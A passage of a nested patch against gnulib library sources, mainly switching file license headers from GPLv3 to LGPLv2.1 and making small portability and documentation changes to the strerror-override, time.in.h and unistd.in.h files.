++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>. */
+--- a/gnulib/lib/strerror-override.c
++++ b/gnulib/lib/strerror-override.c
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2010-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2010. */
+@@ -29,6 +29,8 @@
+ # endif
+ #endif
+
++#if !GNULIB_defined_strerror_override_macro
++
+ /* If ERRNUM maps to an errno value defined by gnulib, return a string
+ describing the error. Otherwise return NULL. */
+ const char *
+@@ -37,12 +39,12 @@ strerror_override (int errnum)
+ /* These error messages are taken from glibc/sysdeps/gnu/errlist.c. */
+ switch (errnum)
+ {
+-#if REPLACE_STRERROR_0
++# if REPLACE_STRERROR_0
+ case 0:
+ return "Success";
+-#endif
++# endif
+
+-#if GNULIB_defined_ESOCK /* native Windows platforms with older <errno.h> */
++# if GNULIB_defined_ESOCK /* native Windows platforms with older <errno.h> */
+ case EINPROGRESS:
+ return "Operation now in progress";
+ case EALREADY:
+@@ -89,8 +91,8 @@ strerror_override (int errnum)
+ return "No route to host";
+ case EWOULDBLOCK:
+ return "Operation would block";
+-#endif
+-#if GNULIB_defined_ESTREAMS /* native Windows platforms with older <errno.h> */
++# endif
++# if GNULIB_defined_ESTREAMS /* native Windows platforms with older <errno.h> */
+ case ETXTBSY:
+ return "Text file busy";
+ case ENODATA:
+@@ -103,8 +105,8 @@ strerror_override (int errnum)
+ return "Timer expired";
+ case EOTHER:
+ return "Other error";
+-#endif
+-#if GNULIB_defined_EWINSOCK /* native Windows platforms */
++# endif
++# if GNULIB_defined_EWINSOCK /* native Windows platforms */
+ case ESOCKTNOSUPPORT:
+ return "Socket type not supported";
+ case EPFNOSUPPORT:
+@@ -125,7 +127,7 @@ strerror_override (int errnum)
+ return "Stale NFS file handle";
+ case EREMOTE:
+ return "Object is remote";
+-# if HAVE_WINSOCK2_H
++# if HAVE_WINSOCK2_H
+ /* WSA_INVALID_HANDLE maps to EBADF */
+ /* WSA_NOT_ENOUGH_MEMORY maps to ENOMEM */
+ /* WSA_INVALID_PARAMETER maps to EINVAL */
+@@ -213,90 +215,92 @@ strerror_override (int errnum)
+ case WSANO_DATA:
+ return "Valid name, no data record of requested type";
+ /* WSA_QOS_* omitted */
++# endif
+ # endif
+-#endif
+
+-#if GNULIB_defined_ENOMSG
++# if GNULIB_defined_ENOMSG
+ case ENOMSG:
+ return "No message of desired type";
+-#endif
++# endif
+
+-#if GNULIB_defined_EIDRM
++# if GNULIB_defined_EIDRM
+ case EIDRM:
+ return "Identifier removed";
+-#endif
++# endif
+
+-#if GNULIB_defined_ENOLINK
++# if GNULIB_defined_ENOLINK
+ case ENOLINK:
+ return "Link has been severed";
+-#endif
++# endif
+
+-#if GNULIB_defined_EPROTO
++# if GNULIB_defined_EPROTO
+ case EPROTO:
+ return "Protocol error";
+-#endif
++# endif
+
+-#if GNULIB_defined_EMULTIHOP
++# if GNULIB_defined_EMULTIHOP
+ case EMULTIHOP:
+ return "Multihop attempted";
+-#endif
++# endif
+
+-#if GNULIB_defined_EBADMSG
++# if GNULIB_defined_EBADMSG
+ case EBADMSG:
+ return "Bad message";
+-#endif
++# endif
+
+-#if GNULIB_defined_EOVERFLOW
++# if GNULIB_defined_EOVERFLOW
+ case EOVERFLOW:
+ return "Value too large for defined data type";
+-#endif
++# endif
+
+-#if GNULIB_defined_ENOTSUP
++# if GNULIB_defined_ENOTSUP
+ case ENOTSUP:
+ return "Not supported";
+-#endif
++# endif
+
+-#if GNULIB_defined_ENETRESET
++# if GNULIB_defined_ENETRESET
+ case ENETRESET:
+ return "Network dropped connection on reset";
+-#endif
++# endif
+
+-#if GNULIB_defined_ECONNABORTED
++# if GNULIB_defined_ECONNABORTED
+ case ECONNABORTED:
+ return "Software caused connection abort";
+-#endif
++# endif
+
+-#if GNULIB_defined_ESTALE
++# if GNULIB_defined_ESTALE
+ case ESTALE:
+ return "Stale NFS file handle";
+-#endif
++# endif
+
+-#if GNULIB_defined_EDQUOT
++# if GNULIB_defined_EDQUOT
+ case EDQUOT:
+ return "Disk quota exceeded";
+-#endif
++# endif
+
+-#if GNULIB_defined_ECANCELED
++# if GNULIB_defined_ECANCELED
+ case ECANCELED:
+ return "Operation canceled";
+-#endif
++# endif
+
+-#if GNULIB_defined_EOWNERDEAD
++# if GNULIB_defined_EOWNERDEAD
+ case EOWNERDEAD:
+ return "Owner died";
+-#endif
++# endif
+
+-#if GNULIB_defined_ENOTRECOVERABLE
++# if GNULIB_defined_ENOTRECOVERABLE
+ case ENOTRECOVERABLE:
+ return "State not recoverable";
+-#endif
++# endif
+
+-#if GNULIB_defined_EILSEQ
++# if GNULIB_defined_EILSEQ
+ case EILSEQ:
+ return "Invalid or incomplete multibyte or wide character";
+-#endif
++# endif
+
+ default:
+ return NULL;
+ }
+ }
++
++#endif
+--- a/gnulib/lib/strerror-override.h
++++ b/gnulib/lib/strerror-override.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2010-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _GL_STRERROR_OVERRIDE_H
+@@ -51,6 +51,7 @@
+ extern const char *strerror_override (int errnum) _GL_ATTRIBUTE_CONST;
+ # else
+ # define strerror_override(ignored) NULL
++# define GNULIB_defined_strerror_override_macro 1
+ # endif
+
+ #endif /* _GL_STRERROR_OVERRIDE_H */
+--- a/gnulib/lib/strerror.c
++++ b/gnulib/lib/strerror.c
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/string.in.h
++++ b/gnulib/lib/string.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 1995-1996, 2001-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if __GNUC__ >= 3
+ @PRAGMA_SYSTEM_HEADER@
+@@ -446,7 +446,7 @@ _GL_WARN_ON_USE (strdup, "strdup is unpo
+ #elif @GNULIB_MDA_STRDUP@
+ /* On native Windows, map 'creat' to '_creat', so that -loldnames is not
+ required. In C++ with GNULIB_NAMESPACE, avoid differences between
+- platforms by defining GNULIB_NAMESPACE::creat always. */
++ platforms by defining GNULIB_NAMESPACE::strdup always. */
+ # if defined _WIN32 && !defined __CYGWIN__
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # undef strdup
+--- a/gnulib/lib/strings.in.h
++++ b/gnulib/lib/strings.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _@GUARD_PREFIX@_STRINGS_H
+
+--- a/gnulib/lib/strncasecmp.c
++++ b/gnulib/lib/strncasecmp.c
+@@ -1,18 +1,18 @@
+ /* strncasecmp.c -- case insensitive string comparator
+ Copyright (C) 1998-1999, 2005-2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/strndup.c
++++ b/gnulib/lib/strndup.c
+@@ -3,18 +3,18 @@
+ Copyright (C) 1996-1998, 2001-2003, 2005-2007, 2009-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published by the
+- Free Software Foundation; either version 3, or (at your option) any
+- later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/strnlen.c
++++ b/gnulib/lib/strnlen.c
+@@ -2,18 +2,18 @@
+ Copyright (C) 2005-2007, 2009-2021 Free Software Foundation, Inc.
+ Written by Simon Josefsson.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/strnlen1.c
++++ b/gnulib/lib/strnlen1.c
+@@ -1,17 +1,17 @@
+ /* Find the length of STRING + 1, but scan at most MAXLEN bytes.
+ Copyright (C) 2005-2006, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/strnlen1.h
++++ b/gnulib/lib/strnlen1.h
+@@ -1,17 +1,17 @@
+ /* Find the length of STRING + 1, but scan at most MAXLEN bytes.
+ Copyright (C) 2005, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _STRNLEN1_H
+--- a/gnulib/lib/strstr.c
++++ b/gnulib/lib/strstr.c
+@@ -2,18 +2,18 @@
+ Foundation, Inc.
+ This file is part of the GNU C Library.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* This particular implementation was written by Eric Blake, 2008. */
+
+--- a/gnulib/lib/sys_stat.in.h
++++ b/gnulib/lib/sys_stat.in.h
+@@ -1,18 +1,18 @@
+ /* Provide a more complete sys/stat.h header file.
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Eric Blake, Paul Eggert, and Jim Meyering. */
+
+--- a/gnulib/lib/sys_types.in.h
++++ b/gnulib/lib/sys_types.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if __GNUC__ >= 3
+ @PRAGMA_SYSTEM_HEADER@
+--- a/gnulib/lib/time.in.h
++++ b/gnulib/lib/time.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if __GNUC__ >= 3
+ @PRAGMA_SYSTEM_HEADER@
+@@ -340,22 +340,60 @@ _GL_CXXALIASWARN (strftime);
+ # endif
+
+ # if defined _GNU_SOURCE && @GNULIB_TIME_RZ@ && ! @HAVE_TIMEZONE_T@
++/* Functions that use a first-class time zone data type, instead of
++ relying on an implicit global time zone.
++ Inspired by NetBSD. */
++
++/* Represents a time zone.
++ (timezone_t) NULL stands for UTC. */
+ typedef struct tm_zone *timezone_t;
++
++/* tzalloc (name)
++ Returns a time zone object for the given time zone NAME. This object
++ represents the time zone that other functions would use it the TZ
++ environment variable was set to NAME.
++ If NAME is NULL, the result represents the time zone that other functions
++ would use it the TZ environment variable was unset.
++ May return NULL if NAME is invalid (this is platform dependent) or
++ upon memory allocation failure. */
+ _GL_FUNCDECL_SYS (tzalloc, timezone_t, (char const *__name));
+ _GL_CXXALIAS_SYS (tzalloc, timezone_t, (char const *__name));
++
++/* tzfree (tz)
++ Frees a time zone object.
++ The argument must have been returned by tzalloc(). */
+ _GL_FUNCDECL_SYS (tzfree, void, (timezone_t __tz));
+ _GL_CXXALIAS_SYS (tzfree, void, (timezone_t __tz));
++
++/* localtime_rz (tz, &t, &result)
++ Converts an absolute time T to a broken-down time RESULT, assuming the
++ time zone TZ.
++ This function is like 'localtime_r', but relies on the argument TZ instead
++ of an implicit global time zone. */
+ _GL_FUNCDECL_SYS (localtime_rz, struct tm *,
+ (timezone_t __tz, time_t const *restrict __timer,
+ struct tm *restrict __result) _GL_ARG_NONNULL ((2, 3)));
+ _GL_CXXALIAS_SYS (localtime_rz, struct tm *,
+ (timezone_t __tz, time_t const *restrict __timer,
+ struct tm *restrict __result));
++
++/* mktime_z (tz, &tm)
++ Normalizes the broken-down time TM and converts it to an absolute time,
++ assuming the time zone TZ. Returns the absolute time.
++ This function is like 'mktime', but relies on the argument TZ instead
++ of an implicit global time zone. */
+ _GL_FUNCDECL_SYS (mktime_z, time_t,
+- (timezone_t __tz, struct tm *restrict __result)
++ (timezone_t __tz, struct tm *restrict __tm)
+ _GL_ARG_NONNULL ((2)));
+ _GL_CXXALIAS_SYS (mktime_z, time_t,
+- (timezone_t __tz, struct tm *restrict __result));
++ (timezone_t __tz, struct tm *restrict __tm));
++
++/* Time zone abbreviation strings (returned by 'localtime_rz' or 'mktime_z'
++ in the 'tm_zone' member of 'struct tm') are valid as long as
++ - the 'struct tm' argument is not destroyed or overwritten,
++ and
++ - the 'timezone_t' argument is not freed through tzfree(). */
++
+ # endif
+
+ /* Convert TM to a time_t value, assuming UTC. */
+--- a/gnulib/lib/unistd.c
++++ b/gnulib/lib/unistd.c
+@@ -1,4 +1,22 @@
++/* Inline functions for <unistd.h>.
++
++ Copyright (C) 2012-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
+ #include <config.h>
++
+ #define _GL_UNISTD_INLINE _GL_EXTERN_INLINE
+ #include "unistd.h"
+ typedef int dummy;
+--- a/gnulib/lib/unistd.in.h
++++ b/gnulib/lib/unistd.in.h
+@@ -1,18 +1,18 @@
+ /* Substitute for and wrapper around <unistd.h>.
+ Copyright (C) 2003-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _@GUARD_PREFIX@_UNISTD_H
+
+@@ -1521,6 +1521,7 @@ _GL_WARN_ON_USE (group_member, "group_me
+ # undef isatty
+ # define isatty rpl_isatty
+ # endif
++# define GNULIB_defined_isatty 1
+ _GL_FUNCDECL_RPL (isatty, int, (int fd));
+ _GL_CXXALIAS_RPL (isatty, int, (int fd));
+ # elif defined _WIN32 && !defined __CYGWIN__
+@@ -2027,15 +2028,23 @@ _GL_WARN_ON_USE (sleep, "sleep is unport
+ #if @GNULIB_MDA_SWAB@
+ /* On native Windows, map 'swab' to '_swab', so that -loldnames is not
+ required. In C++ with GNULIB_NAMESPACE, avoid differences between
+- platforms by defining GNULIB_NAMESPACE::creat always. */
++ platforms by defining GNULIB_NAMESPACE::swab always. */
+ # if defined _WIN32 && !defined __CYGWIN__
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # undef swab
+ # define swab _swab
+ # endif
+-_GL_CXXALIAS_MDA (swab, void, (char *from, char *to, int n));
+-# else
++/* Need to cast, because in old mingw the arguments are
++ (const char *from, char *to, size_t n). */
++_GL_CXXALIAS_MDA_CAST (swab, void, (char *from, char *to, int n));
++# else
++# if defined __hpux /* HP-UX */
++_GL_CXXALIAS_SYS (swab, void, (const char *from, char *to, int n));
++# elif defined __sun && !defined _XPG4 /* Solaris */
++_GL_CXXALIAS_SYS (swab, void, (const char *from, char *to, ssize_t n));
++# else
+ _GL_CXXALIAS_SYS (swab, void, (const void *from, void *to, ssize_t n));
++# endif
+ # endif
+ _GL_CXXALIASWARN (swab);
+ #endif
+--- a/gnulib/lib/unitypes.in.h
++++ b/gnulib/lib/unitypes.in.h
+@@ -1,17 +1,17 @@
+ /* Elementary types and macros for the GNU UniString library.
+ Copyright (C) 2002, 2005-2006, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _UNITYPES_H
+--- a/gnulib/lib/uniwidth.in.h
++++ b/gnulib/lib/uniwidth.in.h
+@@ -2,17 +2,17 @@
+ Copyright (C) 2001-2002, 2005, 2007, 2009-2021 Free Software Foundation,
+ Inc.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _UNIWIDTH_H
+--- a/gnulib/lib/uniwidth/cjk.h
++++ b/gnulib/lib/uniwidth/cjk.h
+@@ -2,17 +2,17 @@
+ Copyright (C) 2001-2002, 2005-2007, 2009-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2002.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include "streq.h"
+--- a/gnulib/lib/uniwidth/width.c
++++ b/gnulib/lib/uniwidth/width.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2001-2002, 2006-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2002.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
